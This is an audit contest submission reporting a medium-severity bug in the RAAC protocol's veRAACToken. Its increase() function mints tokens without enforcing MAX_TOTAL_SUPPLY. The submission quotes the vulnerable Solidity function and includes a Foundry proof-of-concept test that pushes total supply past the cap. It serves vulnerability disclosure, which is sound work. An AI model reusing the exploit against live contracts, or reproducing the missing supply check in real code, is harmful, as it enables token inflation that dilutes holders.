Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

MAX_TOTAL_SUPPLY is not checked when user increases the amount of locked RAAC tokens

h2134

Summary

MAX_TOTAL_SUPPLY is not checked when user increases the amount of locked RAAC tokens.

Vulnerability Details

When user calls increase() in veRAACToken to increase the amount of locked RAAC tokens, new veRAAC tokens will be minted to the user. However, there is no check if the veRAAC total supply has surpassed MAX_TOTAL_SUPPLY which is 100M.

veRAACToken::increase()

function increase(uint256 amount) external nonReentrant whenNotPaused {
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
​
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
userLock.amount + amount,
userLock.end
);
​
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
​
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
​
emit LockIncreased(msg.sender, amount);
}

Impact

The total supply of veRAAC token becomes larger than MAX_TOTAL_SUPPLY.

POC

Please run forge test --mt testAudit_IncreaseToMintMoreThanMaxTotalSupply.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import {Test, console, stdError} from "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
​
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DeToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/tokens/veRAACToken.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/core/collectors/FeeCollector.sol";
import "../contracts/core/collectors/Treasury.sol";
​
contract Audit is Test {
using WadRayMath for uint256;
using SafeCast for uint256;
​
address owner = makeAddr("Owner");
address repairFund = makeAddr("RepairFund");
​
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACHousePrices raacHousePrices;
​
crvUSDToken crvUSD;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
RAACToken raacToken;
RAACNFT raacNft;
veRAACToken veRaacToken;
​
RAACMinter raacMinter;
FeeCollector feeCollector;
Treasury treasury;
​
function setUp() public {
vm.warp(1 days);
​
raacHousePrices = new RAACHousePrices(owner);
​
// Deploy tokens
raacToken = new RAACToken(owner, 100, 50);
veRaacToken = new veRAACToken(address(raacToken));
crvUSD = new crvUSDToken(owner);
rToken = new RToken("RToken", "RToken", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
raacNft = new RAACNFT(address(crvUSD), address(raacHousePrices), owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
​
// Deploy Treasury and FeeCollector
treasury = new Treasury(owner);
​
feeCollector = new FeeCollector(
address(raacToken),
address(veRaacToken),
address(treasury),
repairFund,
owner
);
​
// Deploy LendingPool
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNft),
address(raacHousePrices),
0.1e27
);
lendingPool.transferOwnership(owner);
​
// Deploy stabilityPool Proxy
bytes memory data = abi.encodeWithSelector(
StabilityPool.initialize.selector,
address(rToken),
address(deToken),
address(raacToken),
address(owner),
address(crvUSD),
address(lendingPool)
);
address stabilityPoolProxy = address(
new TransparentUpgradeableProxy(
address(new StabilityPool(owner)),
owner,
data
)
);
stabilityPool = StabilityPool(stabilityPoolProxy);
​
// RAACMinter
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
owner
);
​
// Initialization
vm.startPrank(owner);
raacHousePrices.setOracle(owner);
​
rToken.setReservePool(address(lendingPool));
​
debtToken.setReservePool(address(lendingPool));
​
deToken.setStabilityPool(address(stabilityPool));
​
stabilityPool.setRAACMinter(address(raacMinter));
​
lendingPool.setStabilityPool(address(stabilityPool));
​
raacToken.setMinter(address(raacMinter));
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(raacMinter), true);
raacToken.manageWhitelist(address(stabilityPool), true);
raacToken.manageWhitelist(address(veRaacToken), true);
​
vm.stopPrank();
​
vm.label(address(crvUSD), "crvUSD");
vm.label(address(rToken), "RToken");
vm.label(address(debtToken), "DebtToken");
vm.label(address(deToken), "DEToken");
vm.label(address(raacToken), "RAACToken");
vm.label(address(raacNft), "RAAC NFT");
vm.label(address(lendingPool), "LendingPool");
vm.label(address(stabilityPool), "StabilityPool");
vm.label(address(raacMinter), "RAACMinter");
vm.label(address(veRaacToken), "veRAAC");
vm.label(address(feeCollector), "FeeCollector");
vm.label(address(treasury), "Treasury");
vm.label(repairFund, "RepairFund");
}
​
function testAudit_IncreaseToMintMoreThanMaxTotalSupply() public {
uint256 MAX_TOTAL_SUPPLY = 100_000_000e18; // 100M
​
address alice = makeAddr("Alice");
deal(address(raacToken), alice, 100_000_000e18);
​
vm.startPrank(alice);
raacToken.approve(address(veRaacToken), 100_000_000e18);
​
for (uint i; i < 10; ++i) {
if (i == 9) {
veRaacToken.lock(9_500_000e18, 1460 days);
continue;
}
veRaacToken.lock(10_000_000e18, 1460 days);
}
​
vm.stopPrank();
​
address bob = makeAddr("Bob");
deal(address(raacToken), bob, 1_000_100e18);
​
vm.startPrank(bob);
raacToken.approve(address(veRaacToken), 1_000_100e18);
veRaacToken.lock(500_000e18, 1460 days);
vm.stopPrank();
​
// veRAAC total supply has reached MAX_TOTAL_SUPPLY
assertEq(veRaacToken.totalSupply(), MAX_TOTAL_SUPPLY);
​
// Bob increases
vm.prank(bob);
veRaacToken.increase(500_000e18);
​
// MAX_TOTAL_SUPPLY is surpassed
assertGt(veRaacToken.totalSupply(), MAX_TOTAL_SUPPLY);
}
}
​

Tools Used

Recommendations

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doesn't check the token supply, making it possible to mint over the MAX

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.